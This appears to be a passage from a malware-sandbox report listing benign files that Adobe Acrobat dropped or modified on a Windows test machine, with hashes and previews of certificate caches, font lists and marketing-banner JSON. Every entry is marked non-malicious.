SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklz84XmltfllXlE/HT8k38z/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKHaSeT8+83NMa8RdWBwRd
MD5:	E1F28BAE3C365190866DEE6D58BAB87A
SHA1:	51804021182E4BFD443B2ABF14E92DE57D472274
SHA-256:	6DF2103B947AA16E8AB130929E3702FE99425DA432B2797EAB8B3D78AAC4B54F
SHA-512:	42D4C6D7279AA71ADC47483444D1676A75A1DB1DA4E166375E8A838E921797DD363A3C976827461C6E1C173CDCFE0E27BE09EB2EDA011D71493858A7507888A8
Malicious:	false
Preview:	p...... ........@...c..(....................................................... ..........W.....q..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.126984036468831
Encrypted:	false
SSDEEP:	6:kKvL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3iDnLNkPlE99SNxAhUe/3
MD5:	CFF7168DE27B165A66BD7FCD7B07C520
SHA1:	3FA8D1B0FD9DA56CF60A6C706907FEF4218F9F05
SHA-256:	98CEC3707F77C279F6A415C5CAFDE92F3426FD63892F972D7893F785719CA535
SHA-512:	9802D9F2B649CC6EDBCA8670E4455834762C9701805454B32345F31BD765CE234C923910617FF04457B6E0749944332557A30538A8861627C1BAF9084AAA0F5F
Malicious:	false
Preview:	p...... ..........3..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3475029082873275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJM3g98kUwPeUkwRe9:YvXKXWYpW7Xh5GMbLUkee9
MD5:	A6835CE46755C0F135C0745C74C16033
SHA1:	64FCF973E8E6F356C5DF2BD0E566B9E80FE647B1
SHA-256:	4282FB07ED4D1BFEA51213414C39E1218AA4D7F54005D92CEBEF32C8E1C99C32
SHA-512:	1147D9D4694506DB8731ACF4E875593493EE69FBCB2737C4DFBAD4B9EF26234CA5DA52C1ED546CE4619A4A0E33A799B09F2562EAC1D712EEC005945B6F7F85B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283826434100342
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfBoTfXpnrPeUkwRe9:YvXKXWYpW7Xh5GWTfXcUkee9
MD5:	AD630398F1C83837BF5D1809CAD1E62D
SHA1:	0EF219BEC39D6B423AF13E1D60CE7B750F1B044E
SHA-256:	0B5291C740C4B7D002480F3C15CB3B0923D716B52CD14A783E22B8041DA134D9
SHA-512:	1EFCEF730B2BACDAC1DD503D48430E021333AFB2568A7E1D468A2106F20C7F8C132E3C6B399AD7694033CA4B67A0FA4168F7F7DCD01568F9541442194D09DA83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262364110784755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfBD2G6UpnrPeUkwRe9:YvXKXWYpW7Xh5GR22cUkee9
MD5:	A3C83AD4E84CA5AB8A399256ECF89C14
SHA1:	80416831BDF8E4A7895E682BF774770FD5203EA0
SHA-256:	77D8BFABB6B4AF943F418B7408644B8DD6CB36AEA4743A98DA2BFC555EF96227
SHA-512:	419720C3D4205980E73E3087D4554A3E1AA4FECFBD8EBC56FCFD0E0DAB15033BA824A076DE6A114115AE046DB70FEB6423BCC769EA845A3E0B6E8702696C5F37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325839277940216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfPmwrPeUkwRe9:YvXKXWYpW7Xh5GH56Ukee9
MD5:	4400715255F4221A372023FB1FF0D935
SHA1:	08CBB0BD869B15A787D7C28E3C53DB0943893B4F
SHA-256:	1F260DA7DCDF11A31277E97380F539BD5BAEA346522B3999BEA5C4059FB7BA46
SHA-512:	6EF504E6071FF48F522F4560E45F611D09C3C0E0A66E3F5DA549AC26ACAEB3D1C8C1272FF9C477127BC3EBAE34431228F47CCBE915D14F4F8BE9FB7B3D2D358E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684681425882727
Encrypted:	false
SSDEEP:	24:Yv6XziXhepLgE9cQx8LennAvzBvkn0RCmK8czOCCSw:Yv9X0hgy6SAFv5Ah8cv/w
MD5:	DC5412424A95B6B06DC93B012F9133FE
SHA1:	B97A37ED305F43847612C140524BE3182543CC79
SHA-256:	9014DFCBAA876EF94F0B2F723BD5459F96ACE123E82037E513323644CDD08A33
SHA-512:	CEE9E620BDE0AAE63A06C61B37C883869AD6609A85FA4D683FF38ABDD66D49DF1BABA7B1DFDEC2C9C13CF9B70964C40EF5F7424337DFD1F8F832B2BEEE296F51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267860986503933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJf8dPeUkwRe9:YvXKXWYpW7Xh5GU8Ukee9
MD5:	E95FBFD8BFAF53B89987ED38A9591C98
SHA1:	DBC3E82100F21C9BD3F590CC4A9F6EA8F006983F
SHA-256:	B78FC7656A7E1BD6E243ECBDF5955E6B8B27DA581559F123BC2FB8F250FF7163
SHA-512:	A4BDA1580EF1D81EEEA81DD83B27508990F835E212D55E9CF8AB3E95323459649C4AACB8B1C2FD098722AFDBB049D45C35EEE4AE6F332F4455DE71FCD229BC74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.267744031499433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfQ1rPeUkwRe9:YvXKXWYpW7Xh5GY16Ukee9
MD5:	7BC1C90C50EA3CB513A64D6523F02DAC
SHA1:	E7C9E6F5B04E0FE9611150D1EAA5DBF47F1B74B2
SHA-256:	DCF680786AA8A84CB2A8C9E336ED466C5CC01D5FA2C0F6BFC54BC4A93789B701
SHA-512:	E9336E3E6F635B5D37C1D92F9FB865CE9D3BAA9189856C02E9166F5458C41B4FA18613E432BE47A15F15F8E382069A534E6DED40E28771A5E2734073BF889023
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289248978117562
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfFldPeUkwRe9:YvXKXWYpW7Xh5Gz8Ukee9
MD5:	180CCDC42FC031A9CEE4003E14D43048
SHA1:	4EEF0284E432BD6084E26BFFB1661AA0440A79C8
SHA-256:	590699E153FE41A514D39ABF60E0E5D813A9DB23F71D625882DBE31D0353AB4E
SHA-512:	2C04B4ECD6A68C0F335A314C1FCA27FD552A8AE8513624D04A6E88FA3052ACC70C11B3DC6F889CC4E280081ECC9DE2B5A7FCD30C9A7E9870707F074D3D3FA3D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.296354037697007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfzdPeUkwRe9:YvXKXWYpW7Xh5Gb8Ukee9
MD5:	4E0FCE1AA9E8862CD462D0CB7906CD21
SHA1:	6854BADBA66BE63B8D95091542642F44AF54DA11
SHA-256:	896F6300019669F1D2CC42010FF15FFCB247B865EF718D6B4613572D7E674837
SHA-512:	5D4AA11A473054DCAC69F198C373E6F41A8806FD81C6AEFB0DE946F4FE822DB32FB32C48D67B44A047B305671A3269F2D4F440863971E5F27E576F6B7C02822E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275914049819611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfYdPeUkwRe9:YvXKXWYpW7Xh5Gg8Ukee9
MD5:	A4DCE1D0D1D21A8706B2E72DF7791FFA
SHA1:	AB6D177C38913653162AC18D153DAD000A8BFF62
SHA-256:	54BB9D79144E05111868D7DD5993497DF105E0867992BE5FCA76AD3C20A3377E
SHA-512:	5E2E2B0A691699D94C89E8696A7082F328AC58621EDD9FC0B038E558E8D269AAB1CD13187773CF017EF2E11877C13FB5DCEDC298773E36A986C401763E75BC44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.262643316756743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJf+dPeUkwRe9:YvXKXWYpW7Xh5G28Ukee9
MD5:	94F441ADA2531474DEF7979388E04F84
SHA1:	0C2445447F02364DB2B494F7E21A52727B61FB42
SHA-256:	AAE5EA16228E875E14138D3AADC970525F889EEF5D7E475B69C80F72BBE2C347
SHA-512:	F2F97D539A14103379EA66E7FBB3556207E81D82DC737CC8677FBA32A021F64A13C961B704405D32C46BF6ADA4674891581B7C2FE6A1E8D62FF82B8BD13B13A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

